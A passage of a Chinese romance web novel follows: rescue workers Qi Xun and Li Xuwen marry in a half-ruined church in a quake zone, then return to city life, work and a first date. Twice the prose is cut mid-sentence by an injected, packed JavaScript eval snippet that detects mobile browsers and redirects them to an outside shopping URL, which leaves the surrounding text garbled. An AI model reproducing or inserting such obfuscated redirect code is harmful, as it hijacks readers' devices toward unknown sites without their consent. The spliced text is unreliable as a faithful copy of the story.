他拉着黎叙闻坐下:“闻姐,你看在我这段时间在救援队当牛做马的份上,你帮我一回。” 黎叙闻被迫就坐,仰天长叹:“这帐记我头上了?” 然后她就眼睁睁看着齐寻饶有兴致地坐在她旁边,准备看戏。 她苦笑了声,终于认命:“行吧,说。” 再说也说不出什么花来,阿咩来来回回的,无非就是不结吧,回去一定要被拆散;结吧,她又害怕,但具体怕什么,她也说不出个所以然来。 好在黎叙闻已经睡饱了,这时候耳聪目明,听完她滚刀肉一样的絮叨,寻思了一阵,忽然问:“阿咩,你到底是在怕婚礼,还是怕婚姻本身?” 阿咩声音蓦地一滞。 “这是你最后的机会,”黎叙闻眯起眼睛,拿出一些高级的采访技巧:“等天一亮,大家紧锣密鼓开始给你们准备……诶你看,东边好像亮了。” 阿咩被她一刺激,这时候猛地抬头,道:“闻姐,结了婚之后,你还是你自己吗?” 黎叙闻被她问得一愣。 她反应了好几秒,还是不知该怎么回答。 莫说她跟齐寻根本就没真的结婚,就算真结了,她自己的经验也不足以证明任何事,更没办法告诉一个站在婚姻边缘的女孩子,尘世幸福和自我追求之间,到底应该怎么选。 想了很久,她仍决定实话实说:“跟白蛇在一起之后我确实变了些,但……”她偏头看了眼齐寻,继续说:“或许之前的我会把这些定义为失去,可现在我觉得,这些变化都没什么不好。” 齐寻唇角爬上了一点点按捺不住的弧度,他低下头,怕她觉得自己骄傲。 “可我还是没办法保证你也会喜欢所谓的变化,”黎叙闻拉着阿咩的手:“因为本质上,我们两个是不同的人。” 阿咩指尖冰凉,手心却一片燥热。 “我知道一定会有改变和妥协,也不是不相信刘濛。”她低声说:“我就是……” “然而只要你决定要这个人,这些就都在所难免。”黎叙闻抬起她的下巴:“现在告诉我,你决定要跟这个男人以夫妻的身份共度一生了吗?” 阿咩睫毛上还挂着点累,头点得却非常坚定:“嗯。” “那你现在需要什么?” 阿咩眨着眼咽了下,忽然一把抓住她的手:“闻姐,你跟白蛇,也没有办过婚礼吧?” “是,我们……” “那你们跟我们一起,”阿咩理直气壮得像是不知道自己在说多么离谱的话:“我们办四人婚礼,可以吗?” 齐寻和刘濛在旁边同时:“啊?” 黎叙闻人都懵了:“什么东西?” “四人婚礼,”阿咩坚持:“就是简陋了些,但它超级有意义,比什么中式西式都有意义。” 黎叙闻苦笑:“这可是你重要的高光时刻,别闹。” 阿咩握紧她的手,异乎寻常地执拗:“我不需要什么高光,我需要的是勇气和力量。” 她看着黎叙闻的眼睛里有很多很重的东西,像是信任,也夹杂了点点仰慕。 “你是我见过最勇敢的女性,要是可以,我希望我能成为你这样的人。”阿咩说:“如果你能跟我站在一起,那我就什么都不害怕了。” “所以明天,”阿咩咬了下嘴唇,坚定道:“我和刘濛,你和白蛇,我们一起结婚吧!” 这句话一说出来,周围立刻诡异地一静。 事情的发展已经超过他们三个的想象了。 愣了片刻,齐寻第一个反应过来,本能地替黎叙闻开口抵挡:“还是算了,这么大的事还是……” 但他话说一半,却诧异地发现,黎叙闻竟然沉默了。 她什么样的表情齐寻没见过,可这个瞬间,他竟然辨认不出她到底是彻底无语了,还是在盘算思索什么。 这个发现让齐寻蓦地一顿,紧张的心绪似乎从阿咩那里传染给了他,他心跳陡然停一秒,但立刻就觉得自己荒谬。 在做什么春秋大梦,他自嘲地想,她早说过不愿意结婚,既然两枚戒指都给了她,既然答应要尊重她的节奏,那就…… 他微微一摇头,道:“没办法办,我们婚戒都没在身上。” 阿咩不信,去掰他手指:“你不是婚戒一直不离身的……” 齐寻大大方方摊开手,左手无名指处果然空荡一片。 黎叙闻静默地盯着他的手指,细细地、无声地抽了口气。 “没骗你,”齐寻对阿咩笑道:“真没戴。” 下一秒,一个拳头伸到他鼻子底下,拳心翻转向上,慢慢地摊开了手掌。 白净的掌心里,静静躺着一对婚戒,被脚边细弱的应急灯一照,在黑夜里发出近乎耀眼的光芒。 一大一小,一宽一窄,互相倚靠依偎,安宁得像一个家。 “随身带着呢,”黎叙闻笑道:“总觉得能派上用场。” 齐寻双目圆瞪,整副心神都被它们所捕获。 一声惊雷自无声中响起,他五脏六腑被一种炽热却温柔的力量蓦地击中,将积压已久的克制和期待全骤然劈开。 已经失落了许久的渴求,竟然在这么一个意想不到的时刻,重重有了回音。 “如果这样能解决问题……我觉得也不是不行,”黎叙闻声音忽然飘忽起来:“两位男士意下如何?” 读作飘忽,写作“我戒指都拿出来了,你俩最好赶紧答应,不然我真的会灭口。” 齐寻喉头发紧,用力吞咽了一次,小心翼翼把婚戒成对抓在手心,握得指节发疼,欲盖弥彰地扭头对刘濛道:“我觉得是个很两全其美的安排,娶到阿咩这么聪明的姑娘,兄弟你有福了。” 刘濛甚至还懵逼着:“不是,这是不是太……” 齐寻一把搂过他的脖子:“买车了吗?喜欢什么牌子?回京屿跟我去挑一辆,算我跟你闻姐的一点心意。” 刘濛:“………………啊?” …… 或许是风听到了他的愿望,第二天是个特别难得的好天气。 婚礼地点早就定在教堂,为了彻底堵住长辈们的嘴,阿咩还想办法打了两张神像出来,贴在教堂里。神像笑意盈盈,被阳光透过彩绘玻璃一照,覆上一层碧波荡漾的斑斓,倒有一种中西合璧的别样风情。 黎叙闻早被队友带过来,找了间还能用的告解室让她休息,她坐立难安的,拉住匆忙路过的电锯妹问:“有什么我能帮忙的?” 电锯妹笑嘻嘻的:“新娘子要帮什么忙?” 说完她又风一样地跑开了,留下黎叙闻一个人在空荡荡的房间里,怔愣地眨着眼。 新娘子。 她把这三个字又咀嚼了一遍。 太陌生了,陌生得让她无所适从。 电视上的人结婚,新娘和女方父母都要哭成泪人,她看了就觉得困惑——这么难过,又为什么要结婚? 时至今日她似乎有点理解了,如果妈妈在身边,或许也会为她流泪吧。 如果爸爸还清醒着…… 她闭上眼,紧紧握了下拳。 “闻闻?” 纪士诚站在门口对她招手:“准备好了吗,要开始了。” …… 小礼拜堂里,所有人都静静等着新娘们的到来。 塌了一半的废墟被遮在屏风后面,完好的这一半空间用纱布和床单扎的花束装点,应急发电机连着扩音喇叭,乐曲声竟也称得上流水潺潺,几排长椅上坐满了观礼来宾,有他们并肩作战的队友,有齐寻亲手救出的幸存者,也有曾在闻闻的照顾下康复的伤员。 读经台上,齐寻和刘濛两个人穿着连夜洗干净吹干的制服,紧张得手脚都不知往哪里放,四只眼睛直勾勾盯着走廊的尽头。 而在那个尽头处,黎叙闻和阿咩穿着跟他们一样的微光制服,牵着手并肩而立。 对齐寻来说,这一幕简直像梦一样。 不,他真的曾经梦到过,只是梦里的闻闻还看不清脸,可他的无措、悸动、不明所以的沉重,全都跟那个梦一模一样。 而此时的黎叙闻,却前所未有地清醒。 这不是任何人的期许,也不是“一个男人把她交给另一个男人,从此寻求新的庇护”的仪式, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她一直注视齐寻的眼睛,这句一落地,她看到他眸光蓦地一震。 “你知道的,我始终对婚礼这东西敬谢不敏,遇到你之前,我甚至一度怀疑婚姻的意义。”她被他的目光所灼伤,慢慢垂下眼睛:“但后来……” 后来她跟着齐寻来到震区,在塔拉维的三周时光倏忽而过,她在这里见生死、见众生,也见自己。 “后来你让我明白,结婚不仅仅是因为相爱,而是当我面前有一千种选择,即使付出再大的代价,我还是只想走入有你的人生。” 温柔而悠长的风带着塔拉维特有的干燥气息,从屏风之后漫卷而来,轻轻抚过她的眼底。 那里有细润冰凉的触感,慢慢蒸发。 “你妈妈……咱妈说,你还有东西没给我。”黎叙闻抬手轻拭眼角,抬眼盈盈而笑:“所以,我的传家宝梳子呢?” 齐寻怔然地望着她,眸光中倾山倒海,翻涌着他此生第一次近乎敬畏的幸福。 他独留于世,茕茕孑立,十年来一切未解的怨恨、孤独和诘问,全部在此刻,得到了他所能想象的最好的报偿。 他半垂着眼睛,侧脸腮边紧紧地绷起将近半分钟,才狠握了一下黎叙闻的手,慢慢松开来。 紧接着,黎叙闻眼睁睁看着他他从制服的口袋里,拿出了一张叠得整齐的纸。 黎叙闻:? 都偷偷准备了,就不告诉她是吧! 齐寻郑重地把那张纸轻轻展开,念出来的每个字都带着罕见的颤音。 “本人因工作原因即将前往库萨地震灾区参与救援任务。为防不测,特立此遗嘱如下:自即日起,本人齐寻,自愿将名下所有合法财产,全部无条件赠与黎叙闻女士,不设任何前置条件和限制,本人及任何第三方无权索取。 “本遗嘱一经生效,视为本人对黎叙闻女士全部承诺的法律与情感保障,无论将来两人关系如何变化,本承诺始终有效。” 黎叙闻就这样听着他在婚礼上念出了自己的遗嘱,一口气提在胸口,连呼吸都忘了。 不仅仅是黎叙闻,他念完之后很久,下面落针可闻,所有人都怔愣着,一个字都说不出来。 黎叙闻站在他身边,一脸的如遭雷击:“你在干什么?” “这不仅是我的承诺,也是我的决心,”齐寻重新握住她的手:“即使你选择离开,我的一切都归属于你——当然,也包括那把‘传家宝’。” 台下仍鸦雀无声,只有小熊喃喃地问:“这啥意思啊?” “意思以后不管他俩在不在一起,白蛇每一分钱都是闻闻的了。”纪士诚揉着眼角,神色复杂:“让他例行公事,进震区前写个遗嘱,谁让他净身出户了?” 阿咩和刘濛都惊了:“白蛇你认真的?” 黎叙闻在台下嗡嗡不止的议论声中小声问:“你跟我交个底,是不是演的?” 齐寻苦笑:“行动组进震区都要交遗嘱,微光总部也有备份,等回去你可以看。” 黎叙闻:“……” 这突如其来的插曲,神父是一句也听不懂,但看新娘和台下观众的表情,也知道新郎干了件离谱的事。 本着帮救命恩人找回场子的心情,他拉长了声音,盖过所有煌煌人声,高声道:“请双方交换戒指。” 齐寻趁机按下蠢蠢欲动要跟他辩论的闻闻:“嘘,婚礼还没完。” 送了齐寻梳子的那对老夫妇,作为婚姻美满的前辈,互相搀扶着上台,把自己的这份“幸运”,连同戒指,一起交给了两对新人。 那一对当初仅仅用作道具的银亮素圈,带着彼此炽热的体温,终于名正言顺地套在了他们的手指上。 在管风琴厚重悠扬的曲声里,神父的声音带着杳茫的空灵:“我宣布你们已成为合法夫妻。现在,可以亲吻你们的爱人了。” 齐寻笑着轻轻捧起黎叙闻的脸:“最后的机会了,不后悔?” 黎叙闻仰起头,亦对他微笑:“后悔是什么?” 齐寻拇指轻轻摩挲她光润侧脸,一低头,吻住了他的余生。 教堂残破的钟在朗朗晴空下,吟唱起美满而悠长的预言,被清风和蝴蝶衔着,一起飘过塔拉维废墟的边缘,去向遥远的边境线。 自此他们岁月与共,不问过往,只念将来。 129. 第 129 章 他们启程去库萨时,还穿着轻薄的衣衫,现在回到京屿,街上已经覆满了澄黄落叶,路人都在萧瑟的秋风里裹上了长大衣。 黎叙闻带着一身晚秋凉意踏进商报编辑部,竟觉得恍如隔世。 脚下地砖完整而坚实,街上高楼林立,楼下早餐铺一如既往的拥挤,每个人脸上或是困倦,或是木然,但每一个人,都那么真切地活着。 有那么一瞬间,她恍惚地觉得有一半自己已经留在了塔拉维,这现世安稳、嘈杂鲜活的日常,跟她的距离有一生那么长。 “闻姐!你回来了!” 脆生生嗓音打断她的错觉,黎叙闻转过头,见小茉笑着跟她打招呼,神情却在她回头的那一秒忽然凝固。 “你,”小茉愣愣地结巴道:“闻姐,你哭了?” 黎叙闻“啊”了声,抬手一抹,才发现脸上一片冰凉。 她笑着摇头:“路上风吹的。”说着从包里掏出一包精致糖果:“喏,喜糖。” “诶?”小茉惊奇地接过:“闻姐你结婚啦?什么时候?跟谁啊?” 黎叙闻抿唇而笑:“秘密。” 那天的编辑部一上午都喜气洋洋,大家边分喜糖边猜,到底是谁把黎叙闻这么难搞的女人收了,猜来猜去不得要领,最后只能打趣了事。 喜糖自然也落到了季主编的办公桌上。 季筝神色复杂地盯着那包糖看了有十几秒,僵硬地抬头:“恭喜。” 她探手把糖果拨到一边,淡声问:“打算什么时候要孩子?” 黎叙闻一秒没犹豫:“不要。” 季筝稍一扬眉:“决定了?这可不是你一个人……” “嗯,决定了。”黎叙闻道。 她自己饱受创伤易感体质的折磨,知道其中苦楚,所以她绝不会再带另一个生命到世界上,重新趟一遍她披荆斩棘的路。 听了这话,季筝神情才稍微松了松,拿过糖果拆了,问:“没听你提过,是个什么样的人?” “是个支持我事业、完全尊重我的人。” 季筝的担忧简直写在脸上:报社的资源就这么多,纸媒又是这个鬼样子,好不容易有个优秀典型,结果放个假一声不响结婚了。 结了婚就得顾家,就得生孩子,就意味着记者职业生涯的让步和终止。那季筝之前对她所有的袒护、培养、希冀,等于全部白费。 黎叙闻很拎得清:“你担心的一切都不会发生。” 季筝这才笑了:“我担心什么了?” 黎叙闻也笑:“担心我放假没写稿子。”她拿出个U盘放在桌上:“里面有十一篇库萨地震的专题稿件,都是深度回溯。” 这都是她每天深夜点灯熬油,一边等齐寻从现场回来,一边用手机写出的震区见闻,避过有时效性要求的新闻,专攻长篇纪实。 这种特稿比快讯更有价值,深度体验、见微知著又是黎叙闻的强项,做成深度纪实专栏,往往影响力巨大。 季筝眼睛一亮:“全都是吗?什么话题?” “很多,”黎叙闻道:“我跟着救援队去的,所以主要集中在民间救援队,可以和之前跟网红的那次争议相呼应,还有最重要的,救援现场的女性视角。” 季筝拈着U盘,半抬着头,微眯着眼看了她一阵,忽然笑了一声。 “你不错。” 一周前马颂今确实在编辑部焦虑得团团转,说怪不得闻闻一放假就消失了,竟然跑震区去了,小姑娘家家的万一出点事可怎么办? 当时季筝就一个反应:愣头青又装大帮菜了。 结果愣头青真的成了大帮菜。 她噙着点不明显的笑意,顺手捞过一张表格写了两笔,递给黎叙闻:“拿去填了。” 黎叙闻接过来一看——《外出采访申请表》,内容还没填,季筝已经给她签好字了。 “去把手续补了,”季筝把U盘插进电脑,对稿子的兴趣显然比对她大:“差旅报销写清楚,弄完找总编签字。” 黎叙闻从震区回来,这一年的假期基本让她嚯嚯干净了,这张表一填,休假变公差,等于把所有假期又给她吐了出来。 她嘴角的笑要压不住了,赶紧把表格攥在手里,嘴上还道:“啊,还得麻烦总编啊。” “敢一声不吭跑去震区,现在不敢去签字?”季筝意味深长:“关系户?” …… 关系户最困难的时刻,就是现在了。 马颂今肃着脸坐在办公桌后,眉心川字纹好像又深了,看也不看那包喜糖:“呵,你不错。” 黎叙闻:“……” 同样的三个字,从不同的人嘴里说出来,怎么就这么不一样呢。 “之前一直没网,所以没往回发东西,”她硬着头皮道:“写好的专题已经交给季主编了。” 马颂今没接话,直直盯着她,半晌都没有放过她的意思。 良久,他慢慢地说:“瘦了这么多呀。” 这一句好像短暂地把他从总编辑的椅子上拉了起来,马颂今眉眼下捺,摸着糖盒:“当初台长送了你爸一套可贵的西装,他一次都没穿过,说是要等你结婚的时候穿,这一转眼……” 哦,是那套西装。 藏蓝底,银暗纹,布料厚实的触感黎叙闻也记得。 她还记得黎策拿回来时兴奋异常,套着软袋一直挂在衣柜里,不让她碰,自己却时不时就去摸摸。 后来黎策进了疗养院,东西带不了太多,钟郁青带着她,把家里用不到的东西全捐了。 里面就有那套他一次都没穿过的西装。 黎叙闻心口酸了一瞬,软下声拍拍马颂今的手:“好了马叔,不说那些。” 马颂今长叹了声,半天才道:“就这么仓促地办了?齐寻那小子,我当初要知道他是救援队的,我绝对不会……” “不算仓促,”黎叙闻垂着眼睛微笑:“这辈子就他了。” 马颂今看着她这个柔软的微笑,原本要出口的抱怨也噤了声。 他几乎看着闻闻长大,从没见过她这副表情,一时间各种心绪交织,堵得他出不得声,总觉得愧对老黎,更愧对她,赶紧剥了颗糖塞进嘴里,堪堪压住那阵子哽咽。 “我这次可是有长足进步,还在火化点工作了。”黎叙闻笑着转移话题:“战地记者那点强度,我现在都不放在眼里。” 她还在沾沾自喜,马颂今却笑不出来,手里簌簌地捏着糖纸,问她:“你现在有家有室,总台还去吗?” 黎叙闻一愣:“为什么不去?” “前线一去就是几个月,你考虑过齐寻没有?” ……还真没有。 她根本没过这事。 很奇怪,近到跟他的一日三餐,远到以后她疯掉了该怎么办,她都想过了,但去战地这一段,就好像被她刻意漏掉了似的,从来没在她脑子里出现过。 马颂今一眼就看出来了:“这 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齐寻的事业和关系都在国内,家庭观念又极重,而且已经为她牺牲了太多——大到关系推进,小到两个人要住哪里,都是他在迁就,甚至他的整个生活,都是围绕着她构建的。 要他这样一步一步把底线都让出来,她未免太不知好歹。 “闻姐,”小茉在远处编辑部的小隔间里冲她招手:“有快递。” 黎叙闻蓦地回神。 快递? 她网购从不填报社地址,哪来的快递? 她快步走过去,接过信封来回瞧,发件人信息好像被隐藏了,掂一掂,很轻。 “放这半个月了,”小茉紧张非常:“是不是有人要报复你,寄了炸弹啊?” “这么轻的炸弹?”黎叙闻笑了声:“怕就走远点,我要开了啊。” 等小茉闪得远远的,她拿美工刀小心地裁开,里面掉出一张照片,还有一个小信封。 她目光瞬间就被那张照片攫了去。 那是一个女孩子极为沉静的侧影,她站在半人高的工作台旁,对着满桌的人形纸板和工具,拿着一根姜黄色的长尺,正专注地比着尺寸,另一只手握着铅笔,细细描画。 黎叙闻险些没认出来。 因为照片上的女孩跟当初在医院里那个呆滞的、荒芜的人,已经没有丝毫相似之处了,唯一能勉强相认的,就是她专注坚定的表情——跟当时黎叙闻去看守所探监时,秦琳脸上的表情一模一样。 她真的判若两人了。 黎叙闻赶紧倒出小信封里面的东西,里面有一千五红彤彤的现金,还有一封长信。 琳琳在信上说,她从精神机构出院后,有人邀请她去羊城学打样,包吃包住,每个月还有一千五百块学徒工资。 正好是当初在代妈宿舍,黎叙闻垫给她的营养费。 她像是不习惯写东西,语句破碎,却蓬勃可亲,事无巨细地诉说着大家对她的善意、她学习的进步,还有能自力更生的骄傲。 信的最后,琳琳用很用力的笔触写:“姐姐,你说得对,我从前不知道,世界真的是很大的。” 黎叙闻看着这句质朴简单的话,伸出指尖,细细地触摸纸上这句凹陷的痕迹。 刚刚的郁结荡然无存,她笑着,泪水却一下子涌了出来。 是的,世界很大很大,人可以在一个地方万念俱灰、饱受折磨,却在另一个地方仍旧顽强地生根发芽。 不必伤怀,因为我们总有远方。 130. 第 130 章 然而她的困惑纠结,却在看到齐寻的那一刻,又重新卷土重来。 黎叙闻下班走到家楼下时,齐寻就抱着双臂靠在他那辆牧马人旁,低头安静地思索着什么。 此时天边正喷薄着桃粉色的晚霞,光线照在擦得锃亮的车上,反射出一片厚润的亮色,齐寻站在这撮亮色里,侧颜锋利,眉目却柔软,在轻盈的天光云影中,竟显得怡然。 黎叙闻停在他不远处,无端想起之前有一次在他车上睡着了,醒来发现齐寻坐在驾驶座上,神情空茫,像是在等一个永远不会来的人。 那种表情他从前常有,可自从他们日日在一起,它好像已经彻底从他脸上消失了。 黎叙闻一颗心忽然被两面夹击——她既不想再看到他那个样子,又不想让他像现在这样,她不在的时候都没办法回家。 这个无解的问题飘悠悠下落,齐寻似乎被这下落的声音惊动,抬头看见她,笑着招呼:“回来了?站着干什么?” 黎叙闻蓦地回神:“没,饿了么,去哪儿吃?” 齐寻拉开副驾的门,从里面拎出一大袋东西,提起来冲她晃:“回家,给你做。” 一打开家门,人还没进去,小狗就先迎了出来。 小土狗彻底康复了,身上东一块西一块的秃毛渐渐长了出来,回来吃上了好东西,毛色也愈发柔软发亮,黑眼睛水水地汪成一片,小尾巴更是摇得起劲极了。 “乖乖,想妈妈了么?”黎叙闻蹲下挠它下巴:“一会儿带你出去玩。” “早上我遛过了。”齐寻把袋子放地上,也凑过去摸它脊背:“我们可爱特别能跑,对不对?” “什么时候遛的?”黎叙闻一边应付扑上来的小狗,一边问:“我怎么不知道?” “你睡得像小猪。”齐寻揉过小狗的手又来揉她:“你跟可爱玩着,我做饭。” 黎叙闻:“……它叫乖乖!齐乖乖!” 厨房的方向传来带着笑意的反驳:“可爱,黎可爱。” 原本根据黎叙闻的刻板印象,一个住毛坯房的男人,会做什么能入口的饭菜来,结果齐寻一朝雪耻,四十分钟内就给她端上来四菜一粥,品相味道竟还都不赖。 要不是她亲眼看见他进了那个被她一碗米线烧黑过的厨房,她都要以为齐寻事先点好外卖了。 “这不对吧,”黎叙闻边嚼水芹边毫无诚意地说:“应该我给你做饭呀,以前我妈都是掐着我爸下班的点做好饭。” 她用筷子点了点盘子边:“咸了。” 齐寻笑了声:“我家是我爸做饭,男人掌勺天经地义,嗯下次盐少放点。” 嫩豆腐入口即化,黎叙闻唇齿间沾着豆香,忽然笑了。 自从她跟着钟郁青出国,对夫妻和家庭的印象就逐渐淡薄,好似这两个词与她无关。 齐寻更是,这么多年就靠着那点回忆,画面里的甜味都得省着咂摸,不然一不留神就褪了色。 他们两个像是没长大的小孩,比着自己印象里那点模糊的名为幸福的影子,在红尘里过家家似地,扮演一对恩爱的夫妻。 她喝了口粥,问:“你想搬家吗?” “搬家?”齐寻不以为意地给她剥了只虾:“想换地方住了?” 黎叙闻咬下尾巴尖尖,喂给小狗:“嗯,想住毛坯房。” 齐寻哂笑:“别开玩笑了,你还得上班,天天来回一百多公里。” 一百多公里? 黎叙闻奇怪他怎么知道得这么清楚,转念一想,他的工作室就离毛坯房不远,他每天就是这样通勤的。 她放下筷子,不吃了。 “你不要这样,”她声音硬起来:“什么都迁就我,什么都由着我来,之前明明恨不得住在工作室的人,现在天天不到四点就得下班,回到家还进不来,得等我回来才能上来,齐寻,这就是你想过的日子吗?” 齐寻却不接她的吵吵,仍低头吃菜:“嗯,不行吗,谁规定我不能想过这种日子?” 黎叙闻抽掉他的筷子拍在桌上:“别吃了!” 结果齐寻磕绊都没打,顺手捧起碗喝粥。 黎叙闻:“……” 还想说点什么,张口就被气笑了。 始作俑者擦擦嘴对她道:“你是觉得我没事业心了不上进,还是觉得我不工作养不起你?” 黎叙闻瞪起眼睛:“谁要你养?” 小狗还不了解她的脾性,以为她真生气了,这时候呜呜地蹭她的裤脚,拿湿漉漉的鼻头拱她,想让她抱抱自己,抱抱就不生气了。 “你是不是忘了,我录了你的声音?家里的厨房,地灯,都是我趁你不在收拾的。”齐寻认真地盯着她的眼睛:“怎么会觉得我一个人不敢上来,不敢进家门?” 黎叙闻眨眨眼,猛然记起了这一出:“那你为什么……” “因为想跟你一起回家。”他说。 他用很平静、很理所应当的口吻说出这样鲜少说出口的话,还是在这么平常的时刻,以至于他话音落下时,黎叙闻都愣住了。 “至于工作,新接的活儿还在项目前期,声音指导要连钮都自己抠,还叫什么指导,”齐寻轻咳了声,欲盖弥彰似地又捻了只虾:“还挺新鲜,下次还去这家买。” 黎叙闻嘴里被塞了虾肉,呆呆地望着他。 “再说你老公也不是谁都请得起的,没那么忙。”齐寻把桌上的虾壳收进骨碟:“这东西说是补钙,给我们可爱做狗饭。” “……它叫乖乖!” “可爱。” 黎叙闻赌气把虾嚼得咯吱响:“你今天……怎么……” “不跟你拧着来,不习惯了是么。”齐寻笑了声:“那换你说。” “说什么?” “说你遇到什么事了,为什么突然要搬家。” 为什么呢。 无非是想趁着她人还在,在他那里多存一些感情,到时候万一她去了战地,跟他几个月见不到面,看在她也迁就过他的份上,两个人不至于无以为继。 可黎叙闻张了张嘴,却依然没勇气问他,到时候她做了战地记者,他要怎么办。 她很怕真的从齐寻嘴里听到“我跟着你去”“我什么都不要了,就守着你”这种话。 搭上另一个人人生的幸福太沉重,她要不起。 “没有,”她摇头:“就是觉得……这样很……” 这种欲言又止,在齐寻眉心悄悄掀起了一丝皱褶。 他们相亲时黎叙闻就说过,任何关系的本质都是交换,从别人身上得到点什么,就一定要还回去,不止这样,有时候还要十倍百倍地偿还。 即便两个人已经成了真夫妻,她还是放不下她那套账。 可黎叙闻咽了咽,道:“就是觉得一直住在这有点无聊。” 齐寻:“……” 这展开,他确实没想到。 他低头狠狠掐了下眉心:“所以你从小做游戏都是搬家玩……无聊想玩什么?” 黎叙闻咬着筷子头想了一阵,眼睛忽然亮了。 “人家谈恋爱都要去吃漂亮饭,”她舔了下嘴唇:“咱们也去吧!” …… 齐寻搜了半个多小时,才从满屏精心布局摆盘打光的图片里,理解了什么叫“漂亮饭”。 看着图上那一叠大大的盘子,小咪咪的食物,他开始担心吃不饱了。 于是第二天早餐,他整了两套M记当家套餐摆在了餐桌上。 黎叙闻起来看到这一桌子,人都懵了:“你昨晚没吃饱?” 齐寻把薯条倒出来,笃定道:“有备无患。” 没享用过“下午茶”的男人是这样的。 京屿的深秋并不温柔,赶上这样天高云淡的好天去约会,就像路过买张彩票中了奖,可遇不可求。 他们坐进耘舍那个清雅的小院里时,午后阳光正浓,沉甸甸落在那片金黄的银杏树上,压得扇叶摇摇欲坠,风稍一吹,便乘着叶片小舟纷纷扬扬跌落,落在古色质朴的木桌上。 院子的对角,有身着旗袍的表演者轻抚竖琴,仙音如水般流泻。 黎叙闻以手支颐坐在桌边,仰头深吸了一口气,秋日里干燥清爽的气息夹杂着银杏果的独特味道,丝丝缕缕沁入鼻腔。 她太投入放松,全然不知对面的齐寻举起手机,静悄悄捕捉她猫儿似的模样。 “你知道银杏为什么叫银杏吗?”黎叙闻忽然问。 “为什么?” 她抿唇而笑,拿了只玻璃杯来倒了水,俯身捡起一枚银杏果,捻着梗,没入水中。 那其貌不扬的果子一沾水,表面竟立刻覆了层银亮的金属色泽,漂亮得几乎夺目,与它灰扑扑的本来模样毫不相关。 黎叙闻看着水里的果子,莫名想到了琳琳。 她看着果子,而齐寻在看她。 那双顾盼生情的眼睛微垂,注视着被风吹皱的水面,里面映着的,是许多的绚烂和柔情。 这是他的爱人。 从前该谈恋爱的年纪,全被他奢侈地用来等一个人,总听别人说,真爱也就那么回事,再美的女人只要到手,也就没什么稀奇了。 时至今日他才知道,那是再无耻不过的假话。 就是这么一个寻常到近乎无趣的场景,她偏偏可爱得千金不换。 “你小时候不玩这个吗?”黎叙闻扔掉果子,笑着问他:“那时候都做什么了?” “那时候啊,淘得很,漫山遍野地跑,”齐寻仍看着她:“小时候就摘野果,丢沙包,嚯嚯家门口种的一排虞美人,长大点就逃课打游戏,跟同学开黑,再大些忽然迷上了声音,变着花样闹我爸妈给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373445|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我买碟买磁带…… 黎叙闻打趣他:“你肯定是后进生,考试要抄我卷子那种。” 齐寻忍俊不禁:“那给抄吗?” “看你出不出得起价,”黎叙闻眼睛被满地银杏叶点得金灿灿的:“叫声姐姐给抄选择,陪我回家给抄填空,要是认我做老大,压轴题都给你抄。” 一个欺男霸女的大姐头形象简直跃然纸上。 齐寻好像看见一个小小的姑娘,头昂得高高的,仗着自己长得漂亮成绩好,招人喜欢又有口才,整天颐指气使替人出头,心就软成了泡过牛奶的饼干。 他握住她虚搭在桌边的手,轻轻摩挲:“那要是追你呢?” “哦,坏孩子早恋呀?”黎叙闻轻挠他掌心,低头浅笑:“那……那咱们可以换卷子。” 不得了哇,这可是下了血本了。 齐寻板起脸:“你给别人换过吗?” 黎叙闻笑得不行:“那时候做梦都想谈恋爱呢,但他们都好蠢,拖着鼻涕泡像个大傻子!” 说话间有侍者端了只木质篮子,里面云雾缭绕,轻薄白烟簇着几碟精致茶点?子,加上一壶清香的花茶,摆在两人之间。 侍者给斟了茶,安静退开,黎叙闻拿银质小勺指了指那叠金砖似的豌豆黄:“他家我最爱这道,不干不水,甜度适中,试试?” 齐寻对这种东西向来敬谢不敏——冰箱里塞满速冻食品的人,味觉基本上已退化至仅有酸甜苦辣,这种吃来开心的东西,离他已经太遥远了。 不过毕竟是闻闻爱的,虽然兴趣不大,他还是稍微尝了一角。 一股带着豆香的清甜慢慢在舌尖漾开,沾了干冰的微凉触感,跟口中温度一碰,几乎瞬间就化了,细腻的金沙流进口腔中,留不住,却有回甘。 齐寻轻轻扬了扬眉。 黎叙闻托着腮看他的表情,满意非常:“好吃吧?” “嗯,第一次吃,味道很神奇。” “第一次吃?”黎叙闻讶异:“你大学就在京屿上的吧,八年了,没吃过豌豆黄?” “没。”齐寻倒坦然:“上学的时候吃食堂,跟组就吃盒饭,在工作室就叫外卖,这里面哪个场景能出现豌豆黄?” 黎叙闻垂着嘴角看着他,像看着家里没吃过好东西的小狗:“那今天你主吃,我副吃,咱们都尝一遍。” 两人都拿起勺,这时候,震区救援的后遗症就显现出来了。 救援中的时间太珍贵,能抽出时间吃饭那都是上天眷顾,所以凡是在救援队呆过的人,吃饭速度都不能说是风卷残云,那得叫摧枯拉朽。 两人在家面对面吃饭时还不觉得,但一出来,就露馅了。 侍者算好了他们尝过一遍茶点的时间,去而复返,来给他们讲解每道点心的故事和讲究,结果一过来,只看到一只冒着青烟的空荡荡的篮子。 饶是侍者小姐见多识广,也非常微妙地停顿了一下。 因为里面连半个渣子都没有了。 开玩笑,在救援队浪费粮食,那可是要遭天谴的。 黎叙闻茫然地看着她:“怎么?” “新规定,要讲解菜式的……”侍者小姐摸了摸耳垂:“要不,我对着盘子给您讲讲?” 为了不让客人尴尬,她信念感极强:“这些盘子我都认得,真的。” 黎叙闻木然地跟齐寻对视了几秒,两个人实在绷不住,大笑。 “行了,不为难你,”齐寻一挥手:“再上一份。” …… 